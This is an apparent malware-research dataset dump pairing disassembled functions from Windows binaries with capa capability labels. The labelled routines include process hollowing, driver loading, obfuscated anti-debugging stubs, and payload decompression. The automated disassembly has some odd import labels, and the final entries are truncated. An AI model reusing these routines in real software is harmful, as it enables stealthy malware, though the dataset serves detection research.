joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008b6a0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [fcn.14008d16a]
mov rdi, rax
test rax, rax
jne 0x14008b6e2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x14008b729
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x14008b782
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x14008b740
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x14008b7c3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14009e51a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14009e51b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x14008b790
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
jmp qword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidA]
and eax, 0xe67ea6

Function at 0x14008be7c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14008bf00
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x14008bf00
dec r8
sub rdx, 1
jne 0x14008bee6
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14008c0b0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x14008cdd0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14008ce1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14008ce1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14008ce1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14008ce1a
cmp dword [rcx + 0x84], 0xe
jbe 0x14008ce1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14008ce1c
xor al, al
add rsp, 0x28
ret

Function at 0x14041d540
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14041d56d
xor al, al
jmp 0x14041d6cf
mov rax, qword [0x14043d6c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x14043d6c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x14043d6d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x14043d6d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x14043d6e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x14043d6e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x14043d6f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x14043d6f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x14043d700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x14041d6c1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x14041d619
mov r11d, 2
jmp 0x14041d63d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x14041d633
mov r11d, 1
jmp 0x14041d63d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x14041d6e5
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x14041d682
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14041d69a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14041d6aa
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x14041d6b8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x14041d600
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14041d6ca
Function at 0x140705853
Capabilities:
Execute anti-debugging instructions

Disassembly:
push r15
push r10
inc ax
cwde
push rsi
movabs rcx, 0
dec al
cwde
cwd
push rcx
cwd
movsx eax, cx
setns al
mov rbp, qword [rsp + 0x90]
rdtsc
dec ebp
cwd
rcr rdx, 0xc2
clc
ror ebp, 3
cbw
shr r10b, 0xe8
inc al
add ebp, 0x4df54ffb
neg r8d
rcr ebx, 0xea
xor ebp, 0x31147289
mov r8d, 0xb85662e
sal edx, cl
dec al
add rbp, rcx
shld rax, r14, 0x50
movsx r10d, r10w
movabs rax, 0x100000000
and rbx, 0x38c60f95
add rbp, rax
rol rdx, cl
movzx edx, r14w
mov r10, rsp
movsxd rdx, r8d
btc dx, ax
sub rsp, 0x180
rcl ch, cl
and rsp, 0xfffffffffffffff0
adc dl, r15b
add cx, 0x4c3d
rcr dh, 0x7d
mov r8, rbp
movabs rcx, 0
btr dx, r13w
sub r8, rcx
stc
bts dx, r10w
lea rbx, [0x14069a0ab]
sbb dl, spl
mov edx, dword [rbp + riz]
stc
add rbp, 4
cmc
clc
cmp r9w, r11w
xor edx, r8d
jmp 0x140783347
push rax
movsxd rax, esp
cwde
push rbp
push r14
setge bpl
cmovno eax, esi
push rdx
rdtsc
cdqe
cqo
push r12
not dl
jmp 0x14076cc40
push r13
movsx dx, r11b
movsxd rax, esp
pushfq
inc ah
push r8
cqo
cdq
push rbx
movsx ax, al
push rcx
not bpl
setge dl
push r11
dec cx
push rdi
cdq
dec ch
push r9
bswap rbp
jmp 0x140699fe9
inc edx
bswap edx
test sil, r9b
cmc
neg edx
jmp 0x14078c495
ror edx, 3
cmp r8w, bx
push r8
xor dword [rsp], edx
pop r8
cmp bl, 0x58
test r10b, 0x3d
movsxd rdx, edx
add rbx, rdx
push rbx
ret

Function at 0x140dd592e
Capabilities:
Execute anti-debugging instructions

Disassembly:
inc edx
bswap edx
test sil, r9b
cmc
neg edx
jmp 0x140e85e8f
push r15
push r10
inc ax
cwde
push rsi
movabs rcx, 0
dec al
cwde
cwd
push rcx
cwd
movsx eax, cx
setns al
mov rbp, qword [rsp + 0x90]
rdtsc
dec ebp
cwd
rcr rdx, 0xc2
clc
ror ebp, 3
cbw
shr r10b, 0xe8
inc al
add ebp, 0x4df54ffb
neg r8d
rcr ebx, 0xea
xor ebp, 0x31147289
mov r8d, 0xb85662e
sal edx, cl
dec al
add rbp, rcx
shld rax, r14, 0x50
movsx r10d, r10w
movabs rax, 0x100000000
and rbx, 0x38c60f95
add rbp, rax
rol rdx, cl
movzx edx, r14w
mov r10, rsp
movsxd rdx, r8d
btc dx, ax
sub rsp, 0x180
rcl ch, cl
and rsp, 0xfffffffffffffff0
adc dl, r15b
add cx, 0x4c3d
rcr dh, 0x7d
mov r8, rbp
movabs rcx, 0
btr dx, r13w
sub r8, rcx
stc
bts dx, r10w
lea rbx, [0x140d9eef0]
sbb dl, spl
mov edx, dword [rbp + riz]
stc
add rbp, 4
cmc
clc
cmp r9w, r11w
xor edx, r8d
jmp 0x140d9ae6a
push rax
movsxd rax, esp
cwde
push rbp
push r14
setge bpl
cmovno eax, esi
push rdx
rdtsc
cdqe
cqo
push r12
not dl
jmp 0x140e04b4e
push r13
movsx dx, r11b
movsxd rax, esp
pushfq
inc ah
push r8
cqo
cdq
push rbx
movsx ax, al
push rcx
not bpl
setge dl
push r11
dec cx
push rdi
cdq
dec ch
push r9
bswap rbp
jmp 0x140d9ee2e
ror edx, 3
cmp r8w, bx
push r8
xor dword [rsp], edx
pop r8
cmp bl, 0x58
test r10b, 0x3d
movsxd rdx, edx
add rbx, rdx
push rbx
ret
Function at 0x140003800
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbx
push rdi
sub rsp, 0x4f8
movsxd rbx, dword [rcx + 0x3c]
xorps xmm1, xmm1
xor eax, eax
add rbx, rcx
xorps xmm0, xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0xd0], rax
mov rdi, rcx
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
cmp dword [rbx], 0x4550
jne 0x140003a54
mov r8d, 0x104
mov qword [rsp + 0x4f0], r13
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r13d, r13d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r13
xor edx, edx
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140003a4c
lea edx, [r13 + 8]
mov qword [rsp + 0x518], rsi
xor ecx, ecx
lea r9d, [r13 + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140003a44
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x520], r12
mov qword [rsp + 0x4e8], r14
mov qword [rsp + 0x4e0], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, rdi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r15, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14d, r13d
cmp r13w, word [rbx + 6]
jae 0x1400039f1
mov qword [rsp + 0x510], rbp
mov ebp, r13d
nop
movsxd rax, dword [rdi + 0x3c]
mov rcx, qword [rsp + 0x50]
add rax, rbp
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rdi + 0x11c]
mov edx, dword [rax + rdi + 0x114]
add r8, rdi
mov r9d, dword [rax + rdi + 0x118]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r14
add rbp, 0x28
cmp r14, rax
jb 0x140003980
mov rbp, qword [rsp + 0x510]
mov eax, dword [rbx + 0x28]
mov rdx, rsi
add rax, r15
mov qword [rsi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov r15, qword [rsp + 0x4e0]
mov r14, qword [rsp + 0x4e8]
mov r12, qword [rsp + 0x520]
mov rsi, qword [rsp + 0x518]
mov r13, qword [rsp + 0x4f0]
add rsp, 0x4f8
pop rdi
pop rbx
ret
Function at 0x140007560
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x70
mov rbx, rcx
test dl, dl
je 0x140007581
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140007510
movabs rax, 0x7621ad9d893ba780
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
movabs rax, 0xde359432f6c2a594
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x28], rax
movabs rax, 0xe118defe649d5e5
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
movabs rax, 0xde359432d6f895a6
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
movdqa xmm0, xmmword [rsp + 0x20]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x20], xmm0
mov r8, rbx
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x50]
call fcn.1400160e0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x98]
call fcn.140007690
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400164b0
nop
mov rcx, rax
call fcn.140002150
nop
lea rcx, [rsp + 0x40]
call fcn.140002130
mov rdx, rbx
mov rcx, qword [0x14002c398]
call fcn.140016530
lea rdx, [0x140016550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x1400076a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140007719
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov r8, rdi
sub r8, rcx
nop dword [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x140007703
inc rcx
test eax, eax
jne 0x1400076f0
mov rcx, rbx
test edx, edx
je 0x140007735
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400076e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
Function at 0x1400091c0
Capabilities:
Install driver
Set registry value

Disassembly:
push rbx
sub rsp, 0x40
mov rbx, rcx
lea rdx, [rcx + 0x208]
mov rcx, 0xffffffff80000002
lea r8, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1400092ab
mov rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], 0
jne 0x1400091f1
mov rcx, qword [rsp + 0x60]
lea r8, str.ImagePath
add eax, eax
mov r9d, 2
mov dword [rsp + 0x28], eax
xor edx, edx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
jne 0x1400092ab
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 4
lea r8, str.Type
mov r9d, 4
mov qword [rsp + 0x20], rax
xor edx, edx
mov dword [rsp + 0x58], 1
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
test eax, eax
jne 0x1400092ab
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r8d, r8d
lea r9, [rsp + 0x50]
mov dl, 1
lea ecx, [r8 + 0xa]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
test eax, eax
js 0x1400092ab
lea rdx, [rbx + 0x410]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
setns al
add rsp, 0x40
pop rbx
ret
xor al, al
add rsp, 0x40
pop rbx
ret

Function at 0x1400092c0
Capabilities:
Delete registry key
Unload driver

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
lea rdx, [rcx + 0x410]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
lea rdx, [rbx + 0x208]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
add rsp, 0x30
pop rbx
ret
Function at 0x1400164b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.1400291f4
mov rdx, qword [rbx]
mov qword [rax], rdx
mov qword [rsp + 0x40], rax
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400210f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x140016510
mov rax, rdi
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x14001d360
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov ecx, 1
call fcn.1400291f4
mov qword [rsp + 0x48], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140021140]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x14001d3b9
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140028cac
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140028d30
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14002c790]
cmp byte [rcx + rax], 0
je 0x140028d30
dec r8
sub rdx, 1
jne 0x140028d16
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140029b48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140029b92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140029b92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140029b92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140029b92
cmp dword [rcx + 0x84], 0xe
jbe 0x140029b92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140029b94
xor al, al
add rsp, 0x28
ret
Function at 0x1400406e0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14004070d
xor al, al
jmp 0x14004086f
mov rax, qword [0x1400616c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1400616c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1400616d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1400616d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1400616e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1400616e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1400616f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1400616f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x140061700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x140040861
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x1400407b9
mov r11d, 2
jmp 0x1400407dd
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x1400407d3
mov r11d, 1
jmp 0x1400407dd
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x140040885
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x140040822
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14004083a
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14004084a
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x140040858
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x1400407a0
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14004086a
Function at 0x141077058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1410771df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141077089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14107706f
add dl, dl
jne 0x141077096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1410770f6
xor eax, eax
add dl, dl
jne 0x1410770a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1410771ad
add dl, dl
jne 0x1410770b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410770c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410770d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410770dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1410770ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14107707e
mov eax, 1
add dl, dl
jne 0x141077106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141077113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1410770fb
sub eax, ebx
mov ebx, 1
jne 0x14107714c
mov ecx, 1
add dl, dl
jne 0x14107712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14107713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141077123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14107707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141077168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141077175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14107715d
cmp eax, 0x7d00
jae 0x14107719b
cmp eax, 0x500
jb 0x141077196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14107707e
cmp eax, 0x7f
ja 0x14107719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14107707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1410771d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14107707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002480
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140024020]
xor rax, rsp
mov qword [rbp - 8], rax
mov rsi, rdx
mov r14, rcx
lea rdx, str..NET_Runtime
xor ecx, ecx
Function at 0x140006750
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
